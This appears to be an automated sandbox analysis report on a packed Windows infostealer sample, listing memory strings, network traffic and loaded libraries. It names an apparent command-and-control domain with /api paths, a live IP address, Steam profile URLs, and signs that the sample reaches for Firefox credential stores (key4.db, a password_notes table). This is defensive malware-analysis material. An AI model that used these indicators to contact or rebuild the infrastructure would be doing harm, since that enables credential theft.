Source: ji2xlo1f.exe, 00000001.00000003.2483549945.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: ji2xlo1f.exe, 00000001.00000003.2483549945.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apix
Source: ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/n#
Source: ji2xlo1f.exe, 00000001.00000003.2491396441.00000000016F6000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016F6000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483290597.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/qWU0rNf#
Source: ji2xlo1f.exe, 00000001.00000003.2491396441.00000000016F6000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483290597.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/r
Source: ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/rsF#
Source: ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/v#
Source: ji2xlo1f.exe	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: ji2xlo1f.exe, 00000001.00000002.2584910256.0000000001672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api2
Source: ji2xlo1f.exe, 00000001.00000003.2571494048.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api7hffxt.default-release/key4.dbPK
Source: ji2xlo1f.exe, 00000001.00000003.2571494048.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apical
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001672000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900f
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: ji2xlo1f.exe, 00000001.00000003.2413553516.0000000003D5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: ji2xlo1f.exe, 00000001.00000003.2413553516.0000000003D5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ji2xlo1f.exe, 00000001.00000003.2413736446.0000000003E33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49790 version: TLS 1.2

Source: ji2xlo1f.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@11/2

Source: C:\Users\user\Desktop\ji2xlo1f.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ji2xlo1f.exe, 00000001.00000003.2368842615.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2368718398.0000000003D47000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2309065675.0000000003D2B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308752580.0000000003D49000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ji2xlo1f.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\ji2xlo1f.exe

File read: C:\Users\user\Desktop\ji2xlo1f.exe

Jump to behavior

Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: ji2xlo1f.exe

Static file information: File size 6289408 > 1048576

Source: ji2xlo1f.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x5d1000

Source: ji2xlo1f.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: ji2xlo1f.exe	Static PE information: section name: .vmp
Source: ji2xlo1f.exe	Static PE information: section name: .vmp
Source: ji2xlo1f.exe	Static PE information: section name: .vmp

Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9FF8 push ss; ret	1_3_016FA01B
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F83D9 push FFFFFF8Fh; ret	1_3_016F83DB
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F83D9 push FFFFFF8Fh; ret	1_3_016F83DB
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F83D9 push FFFFFF8Fh; ret	1_3_016F83DB
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016FA6D2 push ebp; retf	1_3_016FA78D
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016FA6D2 push ebp; retf	1_3_016FA78D
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016FA6D2 push ebp; retf	1_3_016FA78D
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F90A6 push ss; retf	1_3_016F90B0
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F90A6 push ss; retf	1_3_016F90B0
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F90A6 push ss; retf	1_3_016F90B0
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9888 push ebp; iretd	1_3_016F9899
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9888 push ebp; iretd	1_3_016F9899
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F9888 push ebp; iretd	1_3_016F9899
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F804B push dword ptr [ebx]; iretd	1_3_016F80B7
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
Source: C:\Users\user\Desktop\ji2xlo1f.exe	Code function: 1_3_016F4918 push eax; retf	1_3_016F4919
